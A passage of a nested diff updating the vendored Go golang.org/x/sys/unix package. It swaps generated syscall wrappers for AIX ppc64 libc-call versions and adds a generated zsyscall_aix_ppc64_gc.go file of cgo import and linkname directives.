-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-- n = int(r0)
-+ _, e1 := callstat(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(statptr)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -992,18 +1038,13 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Rename(from string, to string) (err error) {
-+func Statfs(path string, buf *Statfs_t) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(from)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(to)
-+ _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, e1 := callstatfs(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1012,13 +1053,13 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Revoke(path string) (err error) {
-+func Truncate(path string, length int64) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, e1 := calltruncate(uintptr(unsafe.Pointer(_p0)), length)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1027,13 +1068,8 @@ func Revoke(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Rmdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ _, e1 := callbind(s, uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1042,9 +1078,8 @@ func Rmdir(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, _, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(whence), 0, 0)
-- newoffset = int64(r0)
-+func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ _, e1 := callconnect(s, uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1053,8 +1088,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func getgroups(n int, list *_Gid_t) (nn int, err error) {
-+ r0, e1 := callgetgroups(n, uintptr(unsafe.Pointer(list)))
-+ nn = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1063,8 +1099,8 @@ func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setegid(egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+func setgroups(n int, list *_Gid_t) (err error) {
-+ _, e1 := callsetgroups(n, uintptr(unsafe.Pointer(list)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1073,8 +1109,8 @@ func Setegid(egid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-+ _, e1 := callgetsockopt(s, level, name, uintptr(val), uintptr(unsafe.Pointer(vallen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1083,8 +1119,8 @@ func Seteuid(euid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-+ _, e1 := callsetsockopt(s, level, name, uintptr(val), vallen)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1093,8 +1129,9 @@ func Setgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+func socket(domain int, typ int, proto int) (fd int, err error) {
-+ r0, e1 := callsocket(domain, typ, proto)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1103,8 +1140,8 @@ func Setpgid(pid int, pgid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-+ _, e1 := callsocketpair(domain, typ, proto, uintptr(unsafe.Pointer(fd)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1113,8 +1150,8 @@ func Setpriority(which int, who int, prio int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ _, e1 := callgetpeername(fd, uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1123,8 +1160,8 @@ func Setregid(rgid int, egid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ _, e1 := callgetsockname(fd, uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1133,8 +1170,13 @@ func Setreuid(ruid int, euid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ r0, e1 := callrecvfrom(fd, uintptr(unsafe.Pointer(_p0)), len(p), flags, uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1143,9 +1185,12 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-+func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ _, e1 := callsendto(s, uintptr(unsafe.Pointer(_p0)), len(buf), flags, uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1154,8 +1199,9 @@ func Setsid() (pid int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, e1 := callnrecvmsg(s, uintptr(unsafe.Pointer(msg)), flags)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1164,8 +1210,9 @@ func Settimeofday(tp *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-+func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, e1 := callnsendmsg(s, uintptr(unsafe.Pointer(msg)), flags)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1174,13 +1221,8 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func munmap(addr uintptr, length uintptr) (err error) {
-+ _, e1 := callmunmap(addr, length)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1189,18 +1231,12 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Symlink(path string, link string) (err error) {
-+func Madvise(b []byte, advice int) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(link)
-- if err != nil {
-- return
-+ if len(b) > 0 {
-+ _p0 = &b[0]
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, e1 := callmadvise(uintptr(unsafe.Pointer(_p0)), len(b), advice)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1209,8 +1245,12 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+func Mprotect(b []byte, prot int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ _, e1 := callmprotect(uintptr(unsafe.Pointer(_p0)), len(b), prot)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1219,13 +1259,12 @@ func Sync() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Truncate(path string, length int64) (err error) {
-+func Mlock(b []byte) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(b) > 0 {
-+ _p0 = &b[0]
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length))
-+ _, e1 := callmlock(uintptr(unsafe.Pointer(_p0)), len(b))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1234,21 +1273,22 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-- oldmask = int(r0)
-+func Mlockall(flags int) (err error) {
-+ _, e1 := callmlockall(flags)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unlink(path string) (err error) {
-+func Msync(b []byte, flags int) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(b) > 0 {
-+ _p0 = &b[0]
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, e1 := callmsync(uintptr(unsafe.Pointer(_p0)), len(b), flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1257,13 +1297,12 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unmount(path string, flags int) (err error) {
-+func Munlock(b []byte) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(b) > 0 {
-+ _p0 = &b[0]
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, e1 := callmunlock(uintptr(unsafe.Pointer(_p0)), len(b))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1272,15 +1311,8 @@ func Unmount(path string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-+func Munlockall() (err error) {
-+ _, e1 := callmunlockall()
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1289,9 +1321,8 @@ func write(fd int, p []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), 0, 0)
-- ret = uintptr(r0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, e1 := callpipe(uintptr(unsafe.Pointer(p)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1300,8 +1331,9 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, e1 := callpoll(uintptr(unsafe.Pointer(fds)), nfds, timeout)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1310,9 +1342,8 @@ func munmap(addr uintptr, length uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-- n = int(r0)
-+func gettimeofday(tv *Timeval, tzp *Timezone) (err error) {
-+ _, e1 := callgettimeofday(uintptr(unsafe.Pointer(tv)), uintptr(unsafe.Pointer(tzp)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1321,9 +1352,9 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-- n = int(r0)
-+func Time(t *Time_t) (tt Time_t, err error) {
-+ r0, e1 := calltime(uintptr(unsafe.Pointer(t)))
-+ tt = Time_t(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1332,13 +1363,78 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-+func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-+ _, e1 := callutime(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getsystemcfg(label int) (n uint64) {
-+ r0, _ := callgetsystemcfg(label)
-+ n = uint64(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func umount(target string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(target)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callumount(uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getrlimit(resource int, rlim *Rlimit) (err error) {
-+ _, e1 := callgetrlimit(resource, uintptr(unsafe.Pointer(rlim)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setrlimit(resource int, rlim *Rlimit) (err error) {
-+ _, e1 := callsetrlimit(resource, uintptr(unsafe.Pointer(rlim)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, e1 := calllseek(fd, offset, whence)
-+ off = int64(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {
-+ r0, e1 := callmmap64(addr, length, prot, flags, fd, offset)
-+ xaddr = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gc.go b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gc.go
-new file mode 100644
-index 00000000..4b3a8ad7
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gc.go
-@@ -0,0 +1,1192 @@
-+// go run mksyscall_aix_ppc64.go -aix -tags aix,ppc64 syscall_aix.go syscall_aix_ppc64.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build aix,ppc64
-+// +build !gccgo
-+
-+package unix
-+
-+import (
-+ "unsafe"
-+)
-+
-+//go:cgo_import_dynamic libc_utimes utimes "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_utimensat utimensat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getcwd getcwd "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_accept accept "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getdirent getdirent "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_wait4 wait4 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_ioctl ioctl "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fcntl fcntl "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_acct acct "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_chdir chdir "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_chroot chroot "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_close close "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_dup dup "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_exit exit "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_faccessat faccessat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchdir fchdir "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchmod fchmod "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchmodat fchmodat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchownat fchownat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fdatasync fdatasync "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fsync fsync "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpgid getpgid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpid getpid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getppid getppid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpriority getpriority "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getrusage getrusage "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getsid getsid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_kill kill "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_syslog syslog "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mkdir mkdir "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mknod mknod "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mknodat mknodat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_nanosleep nanosleep "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_open64 open64 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_openat openat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_read read "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_readlink readlink "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_renameat renameat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setdomainname setdomainname "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_sethostname sethostname "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setpgid setpgid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setsid setsid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setuid setuid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setgid setgid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setpriority setpriority "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_statx statx "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_sync sync "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_times times "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_umask umask "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_uname uname "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_unlink unlink "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_ustat ustat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_write write "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_dup2 dup2 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_posix_fadvise64 posix_fadvise64 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fchown fchown "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fstat fstat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fstatat fstatat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_fstatfs fstatfs "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getegid getegid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_geteuid geteuid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getgid getgid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getuid getuid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_lchown lchown "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_listen listen "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_lstat lstat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pause pause "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pread64 pread64 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pwrite64 pwrite64 "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_select select "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pselect pselect "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setregid setregid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setreuid setreuid "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_shutdown shutdown "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_splice splice "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_stat stat "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_statfs statfs "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_truncate truncate "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_bind bind "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_connect connect "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getgroups getgroups "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setgroups setgroups "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_socket socket "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_socketpair socketpair "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getpeername getpeername "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getsockname getsockname "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_sendto sendto "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_nrecvmsg nrecvmsg "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_nsendmsg nsendmsg "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_munmap munmap "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_madvise madvise "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mprotect mprotect "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mlock mlock "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mlockall mlockall "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_msync msync "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_munlock munlock "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_munlockall munlockall "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_pipe pipe "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_poll poll "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_time time "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_utime utime "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getsystemcfg getsystemcfg "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_umount umount "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_setrlimit setrlimit "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_lseek lseek "libc.a/shr_64.o"
-+//go:cgo_import_dynamic libc_mmap64 mmap64 "libc.a/shr_64.o"
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:linkname libc_utimensat libc_utimensat
-+//go:linkname libc_getcwd libc_getcwd
-+//go:linkname libc_accept libc_accept
-+//go:linkname libc_getdirent libc_getdirent
-+//go:linkname libc_wait4 libc_wait4
-+//go:linkname libc_ioctl libc_ioctl
-+//go:linkname libc_fcntl libc_fcntl
-+//go:linkname libc_acct libc_acct
